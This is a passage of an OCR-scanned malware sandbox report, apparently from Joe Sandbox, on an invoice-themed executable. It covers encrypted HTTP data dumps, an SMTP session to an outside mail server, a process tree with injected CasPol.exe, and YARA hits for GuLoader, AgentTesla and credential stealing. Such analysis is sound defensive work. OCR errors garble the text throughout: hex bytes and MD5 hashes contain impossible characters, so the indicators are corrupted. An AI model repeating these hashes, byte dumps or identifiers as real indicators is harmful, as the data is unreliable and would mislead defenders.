3317 ae 26 cc 78 Oa de 60 cf d2 35 66 88 04 b0 39 dc e8 f5 04 19 9e 5a be ba 45 88 75 a7 6e dc 75 59 15 ad 98 65 e8 9c
77 3d 40 37 05 02 60 09 ce b5 a0 b7 99 da a9 11 74 40 2f aa 53 fe 6¢ €9 ab c9 7c 74 48 2d 56 a4 c1 7c 8c 3c df 33 28 6¢
70 0b a3 43 a8 2d 71 80 94 14 78 8d bd ab 97 c7
Data Ascii: Sz"LEY['*72mtevol,mU!"Yn==,5HvG3~@~VvAlm-IcbtC+cu|CD"HG 6UF3&x 5f9ZEunuYew=@7 t@/Sl|tH-V|
<3(IpC-gx

2021-11-29 13:25:46 UTC 205 IN Data Raw: c5 72 4d 23 9f al 8c ec 82 9a c5 03 aa 42 e3 cd 03 50 99 92 09 aa 33 88 fb 6d 10 13 4d 46 c1 a2 3c 59 86 fb
c5 4e 5d 30 51 8f ae 26 53 02 22 cc 4c b7 21 21 9e a8 d7 59 32 70 bd 3f ab 24 4f 47 35 6¢ 76 57 ed Oe 0d 54 81 8f ce d7
ce €922 c3d9 ed 37 f5 bd 9d 57 a7 6b 4e 94 60 c3 24 52 15 98 61 59 2e b3 4e 10 7f 8e 66 17 3f 66 ca e5 f6 29 ab d8 d8
4e 43 al 36 4b 2e ec 46 28 4c c4 1f 36 43 88 91 73 7 7b 4f 98 ae 17 0f 09 01 86 9a Of c4 4e 40 73 1a Oe 75 eb 6f e6 {7 f9
5f b4 da 54 ed 3d 31 8f f2 bf e8 59 86 00 4c a0 00 ab 03 d0 62 0d ca 33 ef 73 87 cc b5 f8 12 ee al 3d 93 a8 d2 4b 6c a9 ef
ed cb e6 e7 97 2b e8 aa 58 6 16 c2 4f f0 4e ed 89 32 91 c7 fe 16 9d fa 5b 8d 5e a8 58 a8 ef fc d7 70 cc 1b 7f d0 54 4c 2a
f0 d8 37 05 1a 94 db c4 46 fc 06 99 82 12 d2 35
Data Ascii: IM#BP3mMF<YN]0Q&S"L!'Y2p?$OG5IVWT"7WKN $RaY.Nf?f)NCEK.F(L6CS{ON@suo_T=1YLb3s=K
[+XON2["XpTL*7F5

2021-11-29 13:25:46 UTC 207 IN Data Raw: a5 c0 b5 d2 95 b9 27 86 ce 86 1a 80 2f d2 3b 47 69 7f al 42 27 bc 77 b7 40 a7 cc 02 fe f2 36 9e cb 43 90 52 fc
df cd 77 6a 54 30 ff bf 2d c6 48 fc 2e 4a ee 54 90 fe 21 37 43 10 {7 f9 a9 47 54 8f 2e d9 7c 2c e2 7b c5 d6 24 05 af 38 b1 3f
d6 f7 db Oa 14 95 5a ab 8f 5a 82 71 b6 0d fO 5d 47 22 ae 8f 08 de 97 77 6d 73 2c 1b 06 60 15 e6 a2 bc ac eb 9f 94 08 7e
5925 b0 7b €9 70 f2d9 91 76 7d 78 1d 7b a4 c1 7b 87 3a 9b 31 2e 71 42 3a ae 62 a8 33 64 f2 b2 05 63 af dc 90 b7 c7 3d
80 b8 0a d5 a3 51 b7 a5 bb ea fa 0d e3 ea ba 14 51 1f 0a f3 07 81 ea 26 07 f4 cd 42 17 b1 75 25 fa 2c 46 d8 d7 1e 77 fd
d2 99 ab 38 9b 39 e0 1a 9b bb 39 d6 67 13 2f ff 75 d6 fd 41 6¢ cO e0 49 26 b6 3e 83 f8 8f 13 84 9f 43 ¢3 f6 a2 f0 00 7b al
69 7a 8d eb 17 3d 3d a7 06 cb a8 09 dO 77 98
Data Ascii: '/;GiB'W@6CRwjT0-H.JT!7CGT.|{$8?ZZq]G"wms, ~Y%{pV}x{{:1.qB:b3dc=QQ&Bu%,Fw899g/uAll&>C{iz==w

2021-11-29 13:25:46 UTC 208 IN Data Raw: 76 1le 10 b9 4b 18 60 b5 64 0b 06 62 c7 8c ff 3e d8 bf f2 37 63 ac 20 52 65 c2 07 17 45 c2 09 30 43 93 86 2e b4
7a539c 853509 03 09 9b 87 1b 85 5¢ 51 68 28 2e 72 f1 69 d9 fO f1 4f c6 f8 52 ed 11 26 84 e2 ca cf 44 9a Oe 63 b4 20 be
02 db 7a 3b ba 20 e3 68 b6 fe d1 ce 05 ec b7 36 9a b9 cb 4b 6f be 9c a0 d9 ef e7 al 1c f6 bc 2d ¢7 Ob bb 28 d7 56 dd a9
31 b3 da fd 6f da cc 56 bd 42 ac 47 f5 bd ce dc 70 ec 1b 7b 99 62 6¢ 36 fa d6 3f 09 12 86 af fe 50 el 5c ba 80 4e eb 3d 46
69 9e f2 15 42 6¢ 37 a4 c9 83 ff 20 f7 f3 ec a6 6b 3a el bd 59 5 5d 94 5d 10 8f c8 6f 73 d7 c2 4e e8 99 ba 2d c9 c9 96 49
76 c9 bb €6 1b 5b 41 61 7d 12 92 9d 35 13 b2 55 ¢3 31 ¢6 21 d9 32 97 53 47 06 Of cf a4 bb 3c 09 2b be af 9e b5 17 57 cf
b4 36 cf b1 f8 3d ¢3 63 77 04 00 41 9b cb c4
Data Ascii: vK'db>7c ReEOC.zS5\Qh(.fOR&Dc z; h6Ko-(V10VBGp{bl6?P\N=FiBI7 k:Y]JosN-IV[Aa}5U1!2SG<+W6=cwA

2021-11-29 13:25:46 UTC 209 IN Data Raw: cc e4 66 bb f9 0d 6b 32 5b 61 69 0d 73 8e 7 d0 d9 f7 c2 fc 5e 16 2a 58 5e 93 88 3e 87 d8 c4 1d 11 3f 7a 16 df
ae la e9 4f 99 58 4d 05 1c 78 4f 81 ¢3 58 10 f2 e8 72 72 fa 9d e2 c0 29 d4 85 df 6e a0 ee 7b c6 d7 c8 8e 9a 7f e3 a0 eb 5f
31 79 5d 9c 6¢ ee 90 37 €0 34 ba 1b 49 b3 10 64 94 7b 45 b2 85 74 3e 91 a7 97 d0 59 ef 67 ab 7b €8 d2 4e ca 0d 67 7f a4
21 be 90 23 2a af 95 35 d2 77 7c c6 8c de fb 20 €9 00 ad 8e c2 87 00 3e d3 1d 3c €8 86 60 cd 84 b5 c4 7f dd €0 6b 24 7b
1f 20 b8 42 a0 25 e2 cf e5 48 ab 03 89 8a al ea 2e 7f 70 47 3c b1 46 a6 62 5a 56 32 58 4b d5 da 39 21 53 85 87 a6 df 09
e5 f6 af fb 8c e2 ca 01 8a a3 f8 3e 1f 9a al 57 3¢ 24 00 3f 5e al 18 f1 bc e0 2b 06 b6 13 59 8a Oa 74 c8 dc bd 60 98 dd 01
4 Of 2e b1 da 33 56 00 f3 f0 13 bd b8 6d 4c a9
Data Ascii: fk2[ais"*X">?zOXMxOXrr)n{_1y]I741d{Et>Yg{Ng!#*5w| ><"k${ B%H.pG<FbZV2XK9!S>W<$?"+Yt.3VmL

2021-11-29 13:25:46 UTC 210 IN Data Raw: a3 36 d5 f5 fc 2d ba 95 e8 6d 9b d7 ac 4b 6¢ e2 2a 94 28 33 77 48 71 08 84 36 d8 9e 3d 4e e3 db ab 12 ea 9b
b2 16 04 a7 1b 97 31 1b c5 46 bf 46 72 e9 3e da 85 be 4a 7a dc ec 3d 94 dc e7 13 f5 86 46 6d 2f 4c 4b 69 8 86 24 92 98
96 eb be 60 9d dd 37 a2 35 ee 26 71 fc a7 Ob 3f 90 a9 21 99 e8 b4 60 bl ad el 3a 14 8e dc 85 ff 01 3d Ob 2f 69 9c f2 58
62 ed 05 a8 58 a7 58 aa 45 ec 41 45 6b 66 82 82 d2 69 6f 59 d9 d5 e9 a8 43 30 2e 15 51 a9 f8 ea d2 43 32 2e 67 f5 f5 e5
22 61 42 f0 Oc fd 96 04 54 d7 78 9c 3a 16 fe 8d 06 46 4d 9f b9 36 15 8¢ b6 c7 01 8b fc da 3f a2 a9 d9 2a 42 51 d1 98 4a
4594 be 94 a4 55 11 €9 f4 1a 01 92 f4 3e ab ab 14 88 ¢5 76 e0 d7 fe 50 40 a5 45 fe ff 91 b5 1a 55 94 61 48 56 18 36 aa
bb 6b 13 51 4f d7 d8 51 5a 37 c7 14 49 fe a5 a3 7b 3b 5f
Data Ascii: 6-mKI*(3wHq6=N1FFr>Jz=Fm/LKi$ 75&0q?!":=/iXbXXEAEkfioYC0.QC2.9"aBTx:FM6?*BQJEU>VP@EUaHV6k
QOQZ7If;_

2021-11-29 13:25:46 UTC 212 IN Data Raw: ac 9f 69 16 8e a3 91 ¢5 59 ef 67 aa 6d fa d5 47 df 18 6b 5e a8 31 ae 1f 1e 32 aa 9d 3a 57 be 69 ee 85 d8 7b ef
e4 18 b1 86 c4 94 11 bf fb 10 3e e6 95 77 45 59 af 4c a8 ¢8 62 af b6 1b ce 2b 9e 42 b0 b5 3b 1a eb 4c ba 83 7b 18 c6 b9
08 79 75 57 be 5c 4a 8f 63 5f 5¢c 2a 7d 43 cf 4a e0 2e 74 86 97 33 18 8e 5c¢ f6 a0 el 05 30 da 17 02 65 6a 71 50 12 78 45
be f3 13 2a 5e a3 b4 fc 80 e8 39 a4 d7 1f 53 ab 18 f5 12 ¢3 3b 95 88 5c ea 71 ee 2b 99 c7 35 6a 05 db ec 17 a7 31 8b 6a
aa 39 05 6¢ 55 ca 6d b2 al 24 6¢ Oc 8 bf d7 92 29 7b c1 a3 13 cf 35 5 ef f9 85 6 f1 a6 03 ec 3c 0d 5b 74 a3 Ob 5 6e d6
€0 40 ba 94 a3 6f 2f 2f e7 eb 5¢ 3c f7 dd 92 2b 3b 58 38 ec d2 64 2d 6f 55 al 22 c1 55 4b ed de c6 be 83 02 e2 77 d7 c5
7e 3c 5d 09 3b 24 af 73 e2 ea f1 63 55 a9 a3 91 44
Data Ascii: iYgmGk 12:Wi{>WEY Lb+B;L{yuW\Jc_\*}CJ.t3\0ejqPXE*"9S;\q+5j1j9IUm$I){5<[tn@0/\<+;X8d-0oU"UKw~<];$scU
D

2021-11-29 13:25:46 UTC 213 IN Data Raw: b2 76 ae be 75 34 11 9¢ 53 bd 70 30 2d 1f 8e 42 8e e2 58 7f €3 Of ba 4a b3 5c b1 58 f6 41 a2 be 63 82 65 07
5470 5a 55 06 f5 34 06 33 2f f1 4d 39 15 f6 5c al be ef 67 1c 32 9e b3 31 79 78 d1 7 13 dd 46 ac eb fc 06 2b fO 9b 84 a2
4a 82 ad 94 1d 8f b5 c7 f5 83 da fb 3f al aa el 21 46 73 de 8c 58 4c 94 b6 82 a5 47 Ob 6e 09 06 Of Ob 01 25 a3 a3 08 80
¢4 73 fO cb ec dO d3 b5 45 de ff 98 b5 1b 55 94 66 4d 57 1d 37 b4 aa 6d 1d 5d 5a c1 5b dO 46 2c 4f 44 4e f2 81 b9 13 3f
56 Oe b3 6f a4 93 ba 20 ae c2 30 d5 c0 d7 f2 b0 d1 9e 30 d0 d2 53 f7 fd e8 6d f1 cl ef 72 e2 52 d2 71 1b 14 08 c1 30 f7 20
2a c5 3d c6 de ce 14 94 66 70 f3 04 e7 a0 10 b2 b7 62 Ob b0 dd al 8 df e3 34 b3 54 2a 8e 32 10 09 56 3c 08 72 90 8e 46
73 46 b5 4b b0 02 67 a2 15 ae ad 42 84 65 40 dO ca
Data Ascii: vu4Sp0-BXJ\XAceTpZU43/M9\g21yxF+J?!FsXLGn%sEUfMW7m]Z[F,ODN?Vo 00SmrRq0 *=fpb4T*2V<rFsFKg
Be@

2021-11-29 13:25:46 UTC 214 IN Data Raw: 9b 28 18 8e 85 ea a0 f4 02 39 d7 Oe 9f bf 65 f0 05 07 7e 4d 93 f6 05 2f 5e a0 70 f8 b2 69 68 28 b8 Oc 41 2b 90
74 d4 4c 7d 9b 87 53 f6 ed 01 27 b7 db 3a 6b 0d f3 e5 1e bd a2 eb 2c b8 51 Oc 76 ca ac 75 bd a2 15 ed e4 e7 Oa 04 94 39
61 5¢ 32 00 5f el b0 da ea Oc 72 f5 a4 82 a9 23 9f d6 7b 21 {7 f5 68 d9 43 95 ab 1c 6d 6f 26 36 el e4 d8 61 fc dd 9f 28 39
57 54 e6 c1 6d 23 7c 58 al 3b e4 48 53 f3 dd d7 3d 4b Oa ec 6a c2 47 21 3a 43 8b 3a 31 b5 65 6e 23 f2 62 18 a6 b9 1a 03
a2 a2 03 c0 87 af 6f 72 db 3a 09 f4 0d al 59 24 f1 91 1d 77 4a db 2c 73 1d cf 07 f1 64 34 b9 82 8c 55 59 41 8a 25 b1 95
41 42 Oe ba 3b ¢5 b9 a0 6e c3 6a €9 ed 81 b7 06 24 ef e4 4b ec c0 6a e5 fa 70 07 32 36 12 79 7a 10 00 bd b6 9c 93 3e c8
b7 3a 9e 5e 50 fd 9d a3 a7 25 fc 75 3f db 5b de 6f
Data Ascii: (9e~M/"pih(A+tL}S"k,Qvu9a\2_r#{!hCmo&6a(9WTm#|X;HS=K|G!:C:1en#bor:Y $wJ,sd4UYA%AB;nj$Kjp
26yz>:"P%u?[o
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kBytes
Timestamp transferred

2021-11-29 13:25:46 UTC 216

2021-11-29 13:25:46 UTC 217

2021-11-29 13:25:46 UTC 218

2021-11-29 13:25:46 UTC 219

2021-11-29 13:25:46 UTC 221

2021-11-29 13:25:46 UTC 222

SMTP Packets

Timestamp
Nov 29, 2021 14:27:21.664874077 CET

Nov 29, 2021 14:27:21.665445089 CET
Nov 29, 2021 14:27:21.678915977 CET

Nov 29, 2021 14:27:21.679320097 CET
Nov 29, 2021 14:27:21.696911097 CET

Code Manipulations

Copyright Joe Security LLC 2021

Direction

IN

Source
Port

587

49801

587

49801
587

Data

Data Raw: 12 71 52 10 dc 8e be 5f Oc fe 55 83 12 01 9¢ 7d a5 be 1e 01 5c 74 fa 4e ac d9 f7 aa 51 eb ec 18 34 1e 47 14 23
5b 46 0f b7 31 b3 70 9b 18 52 d6 c8 c9 7 23 ch 16 29 f2 81 a3 74 21 d7 4c b4 fc 35 04 a6 37 27 a8 39 ch c¢7 c2 74 3c c2
0d 28 91 ce cf b2 f4 f4 e2 7a a9 f5 ee ac 49 52 d2 1b 1f 14 a6 2f 7b d1 0a dO ad 93 de ce 9d 9b 69 f4 bb 18 f2 25 94 b6 a4
72 04 34 4c a7 ea 5f be 3f af c9 fa b3 27 82 a7 51 47 81 e5 9f 8e 46 73 41 ce c2 34 0d 7d 0f 52 b2 38 c1 17 7c dO cc 59 33
Ob €9 49 7b e9 ba 8c e2 2a f5 9f 53 05 b5 22 ab f6 df f6 78 a7 e4 01 6a 12 59 72 75 83 ec 85 c1 f2 d8 f6 c8 7a ef 32 2¢ 45
cb 04 0d 87 87 cb 48 5b 04 2e 3 81 dO be 9f a9 40 86 58 45 Ob 13 64 dd 91 8d 53 1e e0 9c 7d 14 {7 a0 ec 6 ae 44 95 cd
ee 38 fd 00 43 97 dc 9d 15 e0 e2 bl 6b 11 31

Data Ascii: qR_UNNQAGH[F1pRAIL57'9t<(zIRAi%r4L_?'QGFsA4}R8|Y3I{*S"xjYruz2,EH[. @XEdS}D8Ck1

Data Raw: f7 e6 63 cc 47 a8 a9 09 66 7a 35 2e €9 d6 58 33 70 88 99 2f 3c 57 bd Ob d8 65 39 f2 90 ad 39 d6 c9 3f f4 dd c5
bf b6 01 e4 6b d7 c7 eb 34 56 Ob 2d b9 4f 6a 67 16 €0 f1 01 42 ad 9c 41 a5 31 f3 51 8e 9d ef 20 52 45 15 7b 72 a9 71 37
72 c3 8e 6f 44 db 2e 63 93 01 1e 77 6d 07 ac Oc 59 41 8 d9 8a 25 b0 15 55 21 01 b2 3b c4 e8 a7 5¢ 41 2b e9 7 08 ff 28 2f
ed ff 52 60 7f 60 ef €9 70 07 66 33 3c 75 6e 13 00 51 bc 94 bd 37 c7 ad b4 30 51 7e el 93 3¢ 12 24 d4 6b 30 45 ce c9 ed
18 0a 4a 9a 45 87 01 fb 3f 7d a2 72 8e ¢5 57 5d 39 ae 02 02 d5 1d Oc be 01 Oe d2 6b 8a c7 23 88 78 c7 20 9b 28 33 2b 58
€2 37 d8 04 b3 8e af 2e 3e d5 36 c7 €7 b3 92 06 8d 6b 1b a6 b2 a4 69 94 ad 46 72 €9 7e da 99 31 81 7c el el 3e 88 54
3c 13 e7 92 e7 f1 26 50 c2 a0 ff 8e 2e 8d 95 90 e4 31

Data Ascii: cGfz5.X3p/<We99?7k4V-0jgBA1Q RE{rq7roD.cwmYA%U!;\A+(/R""pf3<unQ70Q~<$kOEJE?}rW]9k#x (3+X7
>6kiFr~1|>T<&P.1

Data Raw: cd 33 f6 04 0d c8 26 cf cb 45 87 9f 77 d1 b3 18 f6 01 89 b4 bd 71 08 bl ac a2 ea 5e al 32 bd c9 9d e8 20 e4 a9
3055 70 7c ed 9c fd 33 7b dc 6¢ ad 7b 6f f9 12 d7 b8 7e 05 88 41 aa 4b d6 9a 9a 47 1b fb 52 cc 85 37 89 1f b0 0d c¢7 30
5e 67 b6 ea 00 bb 8b 03 43 32 3b 6f 08 03 10 8b €8 d2 bc eb b3 fa 0d 17 5f 4a f0 16 f8 1e €9 d9 bb 1b 61 3c 00 18 be ac
74 €9 2b 9b 35 4b 71 1d 44 cf 7f cd 2f 10 95 f5 4f 17 8b bd 8d d2 db 49 e2 df 1d al 93 12 b5 d7 ba 8f f1 79 91 a3 c5 51 06
7b 74 9c 5b ef b0 26 53 91 96 1d 2f de 79 44 e4 69 05 bc fO 71 77 93 ¢8 99 ff 5d dd 66 8e 75 de d5 63 d6 34 76 75 a0 12
bf b0 2a 19 af bb 27 28 b6 10 e6 fc cc 73 e2 e8 1d a9 9f c4 8a 08 3a ef Oc 39 e6 80 75 4e 5b c2 4c b3 dd 05 b7 31 fe ce 32
a2 50 c8 2a 7e 01 ec 45 a5 11 18 ef 4a fe 67 6¢

Data Ascii: 3&Ewq”"2 0Up|3{l{o~AKGR70"gC2;0_Ja<t+5KqD/OlyQ{t[&S/yDiqw]fuc4vu*'(s:9uN[L12P*~EJg|

Data Raw: 99 b6 30 c7 d3 86 12 c6 21 4a 2e b3 fd 4a 37 e2 e2 05 e5 89 6a f1 f4 48 ef 79 75 ee fd Ob 8d 26 3a 14 66 68 08
9e 02 a9 97 80 33 da ad 5e 84 48 43 fd 9c bd b3 2d {7 67 2c da 56 c6 6a b7 11 45 b4 5a 83 00 fb d6 a8 b6 6a 95 d9 47 d5
d8 a5 2c 1e c2 81 e8 b1 86 9c cf 6b 87 c0 30 83 79 d0 41 88 26 af d6 47 f2 bf 8d 15 c7 9a 32 cb 2b cc 37 de eb bd a3 85
99 72 el 48 ce 6 40 9a b7 53 60 6¢ ed db 97 3f 8b 79 fc ef 3c 82 50 32 1d fb 84 60 7d af 7e ce cc f1 86 20 94 86 bf f9 3f
50 92 df 37 a7 37 e5 2e 7d ed b4 06 36 aa a7 28 ba e3 bb 73 be b1 f2 20 16 8a d5 91 7c 3a 37 Oc 07 60 87 e8 d1 23 ee
14 a6 45 ae 41 af 47 €9 50 2e 72 fb 70 ef dd 4c 6a 46 c6 5b 07 bb 42 24 bf 59 0f bd c8 fb 5¢ bb 34 3a 76 72 21 ff ab b0 52
71 cb 6d 13 cc c2 a7 61 1c 03 03 fO 89 06 47 43 89

Data Ascii: 01J.J7jHyu&:fh3"HC-g,VJEZ]G kOyA&G2+7rH@S I?y<P2}~ ?P77.}6(s |: 7" #EAGP.rpLjF[B$Y\4:vrIRgmaGC

Data Raw: bf fa Oc 17 58 4a b7 16 €3 1e e8 d9 c9 1b 11 3c 42 18 ff ac 2e €9 60 9b 66 4b 2b 1d 5a cf 10 cd 3d 10 ed {5 61
17 b6 bd 8c d2 dd 49 e5 df 1d al 92 12 a3 d7 a5 8f da 79 82 a3 87 51 5a 7b 5a 9c 3d ef ef 26 28 91 ¢3 1d 02 de 67 44 cf
69 6b bc eb 71 68 93 chb 99 a9 5d 88 66 el 75 bf d5 22 d6 6b 76 19 a0 44 bf f5 2a 4b af f6 27 2a b6 3f e6 6 cc 09 e5 ¢3 00
c9 83 b4 84 65 3e cf 0d 3b ee a0 72 4f 49 a6 44 e2 cf 05 be 51 fb a7 2e d2 42 e2 37 0d 12 9b 4d d2 03 €9 Oa 2d ec 69 7e
19 55 ¢8 54 42 86 43 5b 5e 37 10 4b d8 5a €9 24 3c 85 e7 26 63 0f a2 f7 c7 9 62 37 b8 06 ee bl 3e f3 64 1a 1c 45 d9 f1
73 3a2d 21 84 f9 c5 e8 28 26 €5 19 22 aa 41 75 bc cd 64 95 {8 5d al fO 4c 2f d5 c6 42 76 6e fb 88 16 d2 b0 28 6¢ fb 38 6b
7e bc af 3f b5 ¢3 35 87 ec 8d 3f 60 8f 54 73 9b

Data Ascii: XJ<B. fK+Z=alyQZ{Z=&(gDikgh]fu"kvD*K'*?e>;rOIDQ.B7M-i~UTBC[*7KZ$<&cb7>dEs:-!(&"Aud]L/Bvn(18k~?5?
Ts

Data Raw: 3a b2 ca 5a fO b5 8d 16 da 9f 2f ce 36 c9 2a db ef bb b2 04 85 76 1e b7 31 09 44 93 b7 53 60 68 e7 db 97 3f 8f
72 fc ef 3¢ 86 5¢ 32 1d fb 80 66 6¢ 2e 5e ca a8 f1 86 20 90 96 98 f9 3f 55 95 dc 35 a5 35 ed 2e 79 ec a9 03 3e b2 af 21 9a
€0 ba 6e bb ac f7 3d 13 8d d2 94 7e 38 35 Oe 0f 6b 92 fa 50 67 ed 07 a6 56 af 52 ad 40 ee 53 20 63 7b 90 e7 da 4c 68 48
d7 db e7 b5 46 22 ae d8 5f bb ¢8 f8 52 b3 3¢ 32 75 75 20 f7 a2 b0 50 70 d9 ef 16 dd 46 be 69 1d 03 Ob fO 89 06 47 43 97
bf 16 14 8d a4 46 dc 8d dc db 3e b3 28 3c 2f 42 53 df 90 44 43 93 bd 9a b9 5b 19 ec d4 1a 13 13 1d 3d ab ab Oc 80 ¢5 75
e8 cf ec d1 dd ad 41 fe fe 99 ad 1f 55 95 63 55 53 1d 36 a8 b2 62 1a 58 4f d3 da 49 47 3e ce 04 40 fc 8f ab 7a 33 56 Oc a6
7d 25 Oa bb 32 2f 82 3e db d2 dO f5 a5 ¢3 1f a9

Data Ascii: :2/6*v1DS h?r<\2fl.A 2U55.y>In=~85kPgVR@$ c{LhHF"_R<2uu PpFiGCF>(</BSDC[=uAUcUS6bXOIG>@z
3V}%2/>

Dest
Port Source IP Dest IP Commands

49801 116.202.203.61 192.168.11.20 220-server.infomedya.net ESMTP Exim 4.94.2 #2 Mon, 29 Nov 2021
16:27:21 +0300
220-We do not authorize the use of this system to transport unsolicited,
220 and/or bulk e-mail.

587 192.168.11.20 116.202.203.61  EHLO 035347

49801 116.202.203.61  192.168.11.20 250-server.infomedya.net Hello 035347 [102.129.143.99]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-PIPE_CONNECT
250-STARTTLS
250 HELP

587 192.168.11.20 116.202.203.61  STARTTLS
49801 116.202.203.61  192.168.11.20 220 TLS go ahead
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Statistics

Behavior

g

Click to jump to process

System Behavior

Analysis Process: FAKTURA 9502461485.exe PID: 5892 Parent PID: 1944

General

Start time: 14:25:14

Start date: 29/11/2021

Path: C:\Users\user\Desktop\FAKTURA 9502461485.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\FAKTURA 9502461485.exe"

Imagebase: 0x400000

File size: 155648 bytes

MD5 hash: 34AE2E779E3B63F6450AACBAAGB5AB1D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Visual Basic

Reputation: low
File Activities Show Windows behavior
Registry Activities Show Windows behavior
Key Created

Key Value Created

Analysis Process: conhost.exe PID: 4060 Parent PID: 5892

General
Start time: 14:25:15
Start date: 29/11/2021
Path: C:\Windows\System32\conhost.exe
Wow64 process (32bit): false
Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l
Imagebase: 0x7ff7bd840000
File size: 875008 bytes
MDS5 hash: 81CA40085FC75BABD2C91D18AA9FFAG8
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate
File Activities Show Windows behavior

Analysis Process: CasPol.exe PID: 7824 Parent PID: 5892
Copyright Joe Security LLC 2021 Page 35 of 37



General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

14:25:29

29/11/2021

C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
false

"C:\Users\user\Desktop\FAKTURA 9502461485.exe"
0x2c0000

108664 bytes

914F728C04D3EDDD5FBA59420E74E56B

true

true

C, C++ or other language

Reputation: moderate
Analysis Process: CasPol.exe PID: 7068 Parent PID: 5892
General
Start time: 14:25:29
Start date: 29/11/2021
Path: C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

"C:\Users\user\Desktop\FAKTURA 9502461485.exe"
0x830000

108664 bytes
914F728C04D3EDDD5FBA59420E74E56B

true

true

.Net C# or VB.NET

e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
00000005.00000000.4281032947.0000000000C10000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000005.00000002.9200234712.000000001DDB1000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
00000005.00000002.9200234712.000000001DDB1000.00000004.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities Show Windows behavior
File Created
File Written
File Read
Analysis Process: conhost.exe PID: 5288 Parent PID: 7068
General
Start time: 14:25:30
Start date: 29/11/2021
Path: C:\Windows\System32\conhost.exe
Wow64 process (32bit): false
Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff74dcc0000
File size: 875008 bytes

Copyright Joe Security LLC 2021
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MD5 hash:
Has elevated privileges:
Has administrator privileges:

Programmed in:

81CA40085FC75BABD2C91D18AA9FFAGS
true
true

C, C++ or other language

Reputation: moderate
File Activities Show Windows behavior
Analysis Process: UserOOBEBroker.exe PID: 6196 Parent PID: 1056

General

Start time: 14:28:33

Start date: 29/11/2021

Path: C:\Windows\System32\oobe\UserOOBEBroker.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

Disassembly

Code Analysis

Copyright Joe Security LLC

Copyright Joe Security LLC 2021

false

C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding
0x7ff75d590000

57856 bytes

BCE744909EB87F293A85830D02B3D6EB

false

false

C, C++ or other language

moderate

Joe Sandbox Cloud Basic 34.0.0 Boulder Opal
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